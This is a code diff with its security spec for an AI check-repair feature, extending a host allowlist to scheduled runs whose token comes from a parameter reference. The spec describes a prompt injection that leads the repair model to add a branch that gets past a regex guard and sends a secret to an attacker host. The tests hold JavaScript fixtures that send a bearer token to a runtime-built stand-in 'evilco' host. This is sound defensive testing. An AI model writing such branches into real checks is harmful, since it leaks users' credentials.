fix(ai): hold every scheduled repair-auto run to its granted hosts

server/internal/checkers/checkjs/checker.go

@@ -151,8 +151,9 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che
 	defer cancel()
 
 	// A script `repair: auto` applied is held to the hosts the version before
-	// it reached, on every run with real secrets (spec 2026-10-24-01), as the
-	// repair loop held it. A caller that already holds the run (the AI loop)
+	// it reached, on every run (spec 2026-10-24-01). Whatever its `secrets`:
+	// a `${param:…}` or `${env:…}` reference in the env or the script carries
+	// a real value too once resolved (spec 2026-10-26-02). A caller that already holds the run (the AI loop)
 	// keeps its own list. The check worker decided it on the stored config,
 	// before references were resolved (spec 2026-10-25-01): the config here
 	// may hold their values, which no grant was issued for.
@@ -162,8 +163,7 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che
 	}
 
 	var repairList *egress.HostAllowlist
-	if held && hasSecretValues(cfg.Secrets) &&
-		egress.HostAllowlistFrom(ctx) == nil {
+	if held && egress.HostAllowlistFrom(ctx) == nil {
 		repairList = egress.NewHostAllowlist(hosts)
 		ctx = egress.WithHostAllowlist(ctx, repairList)
 	}
@@ -254,17 +254,6 @@ func WithStoredRepairHold(ctx context.Context, stored map[string]any) context.Co
 	return context.WithValue(ctx, repairHoldKey{}, repairHold{hosts: hosts, held: held})
 }
 
-// hasSecretValues reports a secrets map holding at least one real value.
-func hasSecretValues(secrets map[string]string) bool {
-	for _, value := range secrets {
-		if value != "" {
-			return true
-		}
-	}
-
-	return false
-}
-
 // withheldHost names a refused host built at runtime: it may carry a secret.
 const withheldHost = "[a host built at runtime]"
 

server/internal/checkers/checkjs/repair_allowlist_test.go

@@ -129,34 +129,54 @@ func TestRepairGrantLetsTheGrantedHostThrough(t *testing.T) {
 	r.True(acme.sawSecret())
 }
 
-// A run without secret values, or a config without a grant (a human-written
-// script, or one whose edit dropped the grant), is not held.
-func TestRepairGrantOnlyHoldsItsScriptWithSecrets(t *testing.T) {
+// A granted config is held even with no `secrets` value: its env may carry
+// a resolved `${param:…}` reference (spec 2026-10-26-02). The branch to the
+// evilco sink is refused and the sink gets nothing.
+func TestRepairGrantHoldsAScriptWithoutSecrets(t *testing.T) {
 	t.Parallel()
 
-	for _, name := range []string{"no grant", "no secrets"} {
-		t.Run(name, func(t *testing.T) {
-			t.Parallel()
+	r := require.New(t)
+	acme, evil := newSecretSink(t), newSecretSink(t)
+	script := `var auth = { headers: { Authorization: "Bearer " + env.TOKEN } };
+var r = http.get("http://127.0.0.1:` + acme.port + `/", auth);
+if (env.FIRE === "yes") { http.get("http://" + ["local", "host"].join("") + ":` + evil.port + `/", auth); }
+return { status: r.error ? "down" : "up", output: { e: r.error } };`
+	cfg := repairedConfig(script, []string{"127.0.0.1"})
+	// The env as materializeConfig hands it over: the `${param:token}` the
+	// grant was issued for, resolved to its value.
+	cfg.AI.RepairGrant = checkconfig.RepairDigest(script, map[string]string{"FIRE": "yes", "TOKEN": "${param:token}"})
+	cfg.Env = map[string]string{"FIRE": "yes", "TOKEN": repairTestSecret}
+	cfg.Secrets = map[string]string{"TOKEN": ""}
 
-			r := require.New(t)
-			acme, evil := newSecretSink(t), newSecretSink(t)
-			cfg := repairedConfig(acmeScript(acme.port, `"http://localhost:`+evil.port+`"`), []string{"127.0.0.1"})
+	stored := cfg.GetConfig()
+	stored["env"] = map[string]any{"FIRE": "yes", "TOKEN": "${param:token}"}
+
+	result, err := (&JSChecker{}).Execute(WithStoredRepairHold(context.Background(), stored), cfg)
+	r.NoError(err)
+	r.Equal(checkerdef.StatusError, result.Status, result.Output)
+	r.Equal(true, result.Output[OutputKeyRepairRefused])
+	r.Zero(evil.hits(), "the refused host received nothing")
+	r.True(acme.sawSecret(), "positive control: the granted host was reached")
+}
 
-			if name == "no grant" {
-				cfg.AI.RepairGrant, cfg.AI.RepairHosts = "", nil
-			} else {
-				cfg.Secrets = map[string]string{"TOKEN": ""}
-			}
+// A config without a grant (a human-written script, or one whose edit
+// dropped the grant) is not held: the same branch reaches its host.
+func TestRepairGrantOnlyHoldsAGrantedScript(t *testing.T) {
+	t.Parallel()
 
-			_, held := cfg.RepairAllowlist()
-			r.Equal(name == "no secrets", held)
+	r := require.New(t)
+	acme, evil := newSecretSink(t), newSecretSink(t)
+	cfg := repairedConfig(acmeScript(acme.port, `"http://localhost:`+evil.port+`"`), []string{"127.0.0.1"})
+	cfg.AI.RepairGrant, cfg.AI.RepairHosts = "", nil
+	cfg.Secrets = map[string]string{"TOKEN": ""}
 
-			result, err := (&JSChecker{}).Execute(context.Background(), cfg)
-			r.NoError(err)
-			r.Equal(checkerdef.StatusUp, result.Status, result.Output)
-			r.Equal(1, evil.hits(), "the new host is reachable")
-		})
-	}
+	_, held := cfg.RepairAllowlist()
+	r.False(held)
+
+	result, err := (&JSChecker{}).Execute(context.Background(), cfg)
+	r.NoError(err)
+	r.Equal(checkerdef.StatusUp, result.Status, result.Output)
+	r.Equal(1, evil.hits(), "the new host is reachable")
 }
 
 // A grant left on a script it was not issued for (a write path that skipped

server/internal/checkworker/repair_grant_agent_test.go

@@ -90,8 +90,11 @@ func (s *agentGrantServer) serve(writer http.ResponseWriter, req *http.Request)
 // runAgentGrantJob runs an auto-repaired js check (grant over the stored
 // script and env) through the real agent claim: the stored config holds a
 // `${param:tag}` reference, the sealed envelope holds the overlay the server
-// resolved, and the agent merges it over the config before executeJob.
-func runAgentGrantJob(t *testing.T, script string, env map[string]any, overlayKey string) *agents.ClientFrame {
+// resolved, and the agent merges it over the config before executeJob. Without
+// withSecrets the envelope carries no `secrets`, only the resolved reference.
+func runAgentGrantJob(
+	t *testing.T, script string, env map[string]any, overlayKey string, withSecrets bool,
+) *agents.ClientFrame {
 	t.Helper()
 	r := require.New(t)
 
@@ -113,7 +116,10 @@ func runAgentGrantJob(t *testing.T, script string, env map[string]any, overlayKe
 		},
 	}
 
-	overlay := map[string]any{"secrets": map[string]any{"TOKEN": "s3cr3t-token-value"}}
+	overlay := map[string]any{}
+	if withSecrets {
+		overlay["secrets"] = map[string]any{"TOKEN": "s3cr3t-token-value"}
+	}
 
 	switch overlayKey {
 	case "script":
@@ -173,12 +179,15 @@ func TestRepairGrantHoldsOnTheAgentPathWithAParamReference(t *testing.T) {
 	t.Parallel()
 
 	cases := map[string]struct {
-		suffix     string
-		env        map[string]any
-		overlayKey string
+		suffix      string
+		env         map[string]any
+		overlayKey  string
+		withSecrets bool
 	}{
-		"param in the script": {suffix: "\n// run ${param:tag}", overlayKey: "script"},
-		"param in env":        {env: map[string]any{"TAG": "${param:tag}"}, overlayKey: "env"},
+		"param in the script": {suffix: "\n// run ${param:tag}", overlayKey: "script", withSecrets: true},
+		"param in env":        {env: map[string]any{"TAG": "${param:tag}"}, overlayKey: "env", withSecrets: true},
+		// Spec 2026-10-26-02: no `secrets`, the token is the resolved reference.
+		"param in env, no secrets": {env: map[string]any{"TOKEN": "${param:tag}"}, overlayKey: "env"},
 	}
 
 	for name, tc := range cases {
@@ -199,7 +208,12 @@ func TestRepairGrantHoldsOnTheAgentPathWithAParamReference(t *testing.T) {
 					env[key] = value
 				}
 
-				frame := runAgentGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, env, tc.overlayKey)
+				script := grantScript(acmePort, evilPort) + tc.suffix
+				if !tc.withSecrets {
+					script = paramScript(acmePort, evilPort)
+				}
+
+				frame := runAgentGrantJob(t, script, env, tc.overlayKey, tc.withSecrets)
 				r.NotNil(frame)
 
 				if fire {

server/internal/checkworker/repair_grant_test.go

@@ -34,8 +34,11 @@ func repairSink(t *testing.T) (string, *atomic.Int32) {
 
 // runRepairGrantJob stores an auto-repaired js check (grant over the stored
 // script and env, hosts 127.0.0.1) and runs its job through the claim and
-// executeJob path, references resolved by materializeConfig.
-func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted bool) *models.Result {
+// executeJob path, references resolved by materializeConfig. A nil secrets
+// stores none.
+func runRepairGrantJob(
+	t *testing.T, script string, env, secrets map[string]any, granted bool,
+) *models.Result {
 	t.Helper()
 
 	r := require.New(t)
@@ -62,12 +65,12 @@ func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted
 		ai["repair_grant"] = jsconfig.RepairDigest(script, plainEnv)
 	}
 
-	check := seedRefCheck(t, ctx, dbSvc, org.UID, "grant-check", string(checkerdef.CheckTypeJS), models.JSONMap{
-		"script":  script,
-		"env":     env,
-		"secrets": map[string]any{"TOKEN": "s3cr3t-token-value"},
-		"ai":      ai,
-	})
+	config := models.JSONMap{"script": script, "env": env, "ai": ai}
+	if secrets != nil {
+		config["secrets"] = secrets
+	}
+
+	check := seedRefCheck(t, ctx, dbSvc, org.UID, "grant-check", string(checkerdef.CheckTypeJS), config)
 
 	jobs, _, err := runner.backend.ClaimJobs(ctx, worker.UID, nil, 10, 10, time.Minute)
 	r.NoError(err)
@@ -81,6 +84,9 @@ func runRepairGrantJob(t *testing.T, script string, env map[string]any, granted
 	return lastResultForJob(t, dbSvc, ctx, jobs[0])
 }
 
+// grantSecrets is the secrets map of a check holding its token in `secrets`.
+func grantSecrets() map[string]any { return map[string]any{"TOKEN": "s3cr3t-token-value"} }
+
 // grantScript calls the granted host and, when env.FIRE is "yes", localhost
 // (standing for an attacker's host) with the secret.
 func grantScript(acmePort, evilPort string) string {
@@ -90,6 +96,49 @@ if (env.FIRE === "yes") { http.get("http://localhost:` + evilPort + `/", auth);
 return { status: r.error ? "down" : "up", output: { e: r.error } };`
 }
 
+// paramScript reads its token from env.TOKEN (a `${param:tag}` reference, no
+// `secrets`), calls the granted host and, when env.FIRE is "yes", a host it
+// builds at runtime (localhost, standing for evilco.test) with the token.
+func paramScript(acmePort, evilPort string) string {
+	return `var auth = { headers: { Authorization: "Bearer " + env.TOKEN } };
+var r = http.get("http://127.0.0.1:` + acmePort + `/", auth);
+if (env.FIRE === "yes") { http.get("http://" + ["local", "host"].join("") + ":` + evilPort + `/", auth); }
+return { status: r.error ? "down" : "up", output: { e: r.error } };`
+}
+
+// Regression (spec 2026-10-26-02): a granted check with no `secrets`, whose
+// token comes from a `${param:…}` reference in env, is held on schedule too.
+// The branch to a host built at runtime is refused and receives nothing; the
+// same check reaching only its granted host runs up.
+func TestRepairGrantHoldsAScheduledRunWithoutSecrets(t *testing.T) {
+	t.Parallel()
+
+	for _, fire := range []string{"yes", "no"} {
+		t.Run("fire="+fire, func(t *testing.T) {
+			t.Parallel()
+
+			r := require.New(t)
+			acmePort, acmeHits := repairSink(t)
+			evilPort, evilHits := repairSink(t)
+
+			result := runRepairGrantJob(t, paramScript(acmePort, evilPort),
+				map[string]any{"FIRE": fire, "TOKEN": "${param:tag}"}, nil, true)
+			r.NotNil(result.Status)
+
+			if fire == "yes" {
+				r.Equal(int(checkerdef.StatusError), *result.Status, result.Output)
+				r.Equal(true, result.Output[checkjs.OutputKeyRepairRefused])
+			} else {
+				r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output)
+				r.NotContains(result.Output, checkjs.OutputKeyRepairRefused)
+			}
+
+			r.Zero(evilHits.Load(), "the other host received nothing")
+			r.Equal(int32(1), acmeHits.Load(), "the granted host was reached")
+		})
+	}
+}
+
 // Regression (spec 2026-10-25-01): a `${…}` reference in the stored script or
 // env changes the text materializeConfig hands the checker, which used to
 // lift the repair grant. The run is held to the stored grant: the host
@@ -113,7 +162,7 @@ func TestRepairGrantHoldsAScheduledRunWithAReference(t *testing.T) {
 			acmePort, acmeHits := repairSink(t)
 			evilPort, evilHits := repairSink(t)
 
-			result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, tc.env, true)
+			result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+tc.suffix, tc.env, grantSecrets(), true)
 			r.NotNil(result.Status)
 			r.Equal(int(checkerdef.StatusError), *result.Status, result.Output)
 			r.Equal(true, result.Output[checkjs.OutputKeyRepairRefused])
@@ -136,7 +185,7 @@ func TestRepairGrantScheduledRunControls(t *testing.T) {
 		acmePort, acmeHits := repairSink(t)
 		evilPort, evilHits := repairSink(t)
 
-		result := runRepairGrantJob(t, grantScript(acmePort, evilPort), map[string]any{"FIRE": "no"}, true)
+		result := runRepairGrantJob(t, grantScript(acmePort, evilPort), map[string]any{"FIRE": "no"}, grantSecrets(), true)
 		r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output)
 		r.NotContains(result.Output, checkjs.OutputKeyRepairRefused)
 		r.Equal(int32(1), acmeHits.Load())
@@ -151,7 +200,7 @@ func TestRepairGrantScheduledRunControls(t *testing.T) {
 		evilPort, evilHits := repairSink(t)
 
 		result := runRepairGrantJob(t, grantScript(acmePort, evilPort)+"\n// run ${var:uuid}",
-			map[string]any{"FIRE": "yes"}, false)
+			map[string]any{"FIRE": "yes"}, grantSecrets(), false)
 		r.Equal(int(checkerdef.StatusUp), *result.Status, result.Output)
 		r.Equal(int32(1), acmeHits.Load())
 		r.Equal(int32(1), evilHits.Load(), "not held: the other host is reachable")

specs/done/2026/10/2026-10-26-02-ai-repair-hold-skips-param-only-secrets.md

@@ -0,0 +1,61 @@
+---
+model: opus
+effort: medium
+---
+
+# The `repair: auto` host hold skips runs whose secrets come from `${param:}` / `${env:}` references instead of `secrets`
+
+## Problem
+
+Found by the security scan of 2026-10-26 (finding U1).
+
+- **Severity:** low. It is a variant of S1 (`specs/done/2026/10/2026-10-25-01-ai-repair-grant-dropped-by-reference-resolution.md`) and narrows the R1 fix (`specs/done/2026/10/2026-10-24-01-ai-repair-auto-apply-partial-runtime-host.md`).
+- **Who can trigger it:** the same as R1 and S1. A third party who controls content the repair loop reads, with no SolidPing account. Two conditions on the target org:
+  - it has an AI-authored JS check with `ai.repair: auto`;
+  - that check takes its credential from a `${param:…}` (or allowed `${env:…}`) reference in `env` or in the script, and holds no `secrets` value.
+- The model must also follow the injection, and the candidate must get past the static `hiddenHost` gate, as in S1.
+
+**The flaw.** A scheduled run is held to its repair grant only when the `secrets` map has a value:
+
+- `JSChecker.Execute` takes the hold decided on the stored config (`checkers/checkjs/checker.go:159-162`). It then installs the allowlist only if `held && hasSecretValues(cfg.Secrets)` (`checker.go:165`).
+- `hasSecretValues` looks at `cfg.Secrets` alone (`checker.go:257-266`).
+- Before `Execute`, `materializeConfig` merges the `${param:…}` overlay and resolves the `${env:…}` / `${var:…}` references in every config string. That covers the strings nested in `env` (`checkworker/worker.go:1019-1063`, overlay at `:1050`; `secretref/secretref.go:198-205`).
+- `LookupParam` returns the plaintext of a secret-flagged parameter (`secretref/resolvers.go:59-61`). The docs allow references in both maps (`web/docs/docs/features/javascript-checks.md:92`).
+- So a check with `env: { TOKEN: "${param:api-token}" }` and no `secrets` runs on schedule with the real token in `env.TOKEN`, and with no host allowlist.
+
+**Why the repair loop does not catch it.** The loop and the verification run use the stored `env`, where the reference is still the literal `${param:api-token}`. They pass `target.secrets` (`aichecks/repair.go:391`, `:435`), and the runner holds a run only when those secrets have a value (`aichecks/runner.go:72`, `:97`). In the loop the candidate therefore sees nothing secret and reaches its hosts unheld. That is harmless there, but `repair: auto` then applies the candidate with a grant:
+
+- `addedReference` does not fire, because the reference sits in the previous `env`, not in the candidate script.
+- `hiddenHost` is a regex over direct call syntax (`aichecks/guards.go:352-388`). A call through an aliased API is not counted (S1).
+
+On schedule the grant is present and `held` is true, but the run is not held, because `Secrets` is empty. Nothing produces `aiRepairHostRefused`, and `RevokeAutoRepair` never fires.
+
+**Impact.** The injected branch can send the resolved parameter value to a host built at runtime. The docs promise the opposite: "Every run holding real secrets is held to them" (`web/docs/docs/features/ai-authored-checks.md:150-151`). The current test pins the gap as intended: `TestRepairGrantOnlyHoldsItsScriptWithSecrets` ("no secrets" case, `checkers/checkjs/repair_allowlist_test.go:134-160`).
+
+## Proposal
+
+1. Hold every scheduled run of a granted config, whatever its secrets (`checkers/checkjs/checker.go:165`):
+   - Drop `hasSecretValues(cfg.Secrets)` from the condition when the hold comes from a stored grant (`held` from `WithStoredRepairHold` or `RepairAllowlist`).
+   - The grant lists the hosts the previous version reached, so a passing version loses nothing.
+   - Keep the `egress.HostAllowlistFrom(ctx) == nil` clause: the AI loop keeps its own list.
+2. If step 1 is judged too broad, decide "holds real secrets" on what the run actually carries:
+   - a non-empty `checkJob.ParamOverlay`;
+   - or any `${param:}` / `${env:}` reference in the stored `script` or `env`.
+   - Carry the result out of band next to the hold, the way `WithStoredRepairHold` carries `held` (`checkworker/worker.go:1191-1197`, `:1370`). It must not be a config key.
+3. Update `web/docs/docs/features/ai-authored-checks.md:148-160` to match: a version `repair: auto` applied is held on every scheduled run, or on every run holding a secret, references included.
+
+## Tests
+
+- `checkers/checkjs/repair_allowlist_test.go`: turn the "no secrets" case of `TestRepairGrantOnlyHoldsItsScriptWithSecrets` around.
+  - A granted config with an empty `Secrets` and an `env` value standing for a resolved parameter runs a branch to an `evilco` sink.
+  - The run is refused (`aiRepairHostRefused`), and the sink gets no hit.
+  - This fails before the fix, since today the sink is hit.
+  - Keep the "no grant" case as the positive control: a human-written script with the same branch still reaches the sink.
+- `checkworker/repair_grant_test.go`: go through the real claim, `materializeConfig` and the JS checker.
+  - The stored config has a grant, no `secrets`, and `env: { TOKEN: "${param:token}" }` resolved through a real parameter. A run whose branch targets a runtime-built host is refused.
+  - Positive control: the same check reaching only its granted host is up.
+- Agent path (`checkworker/repair_grant_agent_test.go`): the same no-`secrets` case is held.
+
+## To verify
+
+- Whether any non-repair caller runs `JSChecker.Execute` on a granted config without secrets and relies on it being unheld (`grep -rn 'JSChecker{}' server/internal`). The AI runner installs its own list first, so step 1 should not affect it.

web/docs/docs/features/ai-authored-checks.md

@@ -148,7 +148,8 @@ with a normal version restore. These fall back to a proposal instead:
 A version `repair: auto` applied can never reach, on schedule, a host the
 version before it could not. It stores those hosts in its `ai` block
 (`repair_hosts`, with `repair_grant` binding them to that script and env). Every
-run holding real secrets is held to them, as the repair loop was. A connection
+scheduled run of that version is held to them, whether its credentials sit in
+`secrets` or come from a `${param:…}` or `${env:…}` reference. A connection
 to any other host fails the run with an error, and the check goes back to
 `repair: propose`, so the next repair needs a human. Editing the script or the
 env drops the grant: a version you wrote is not held.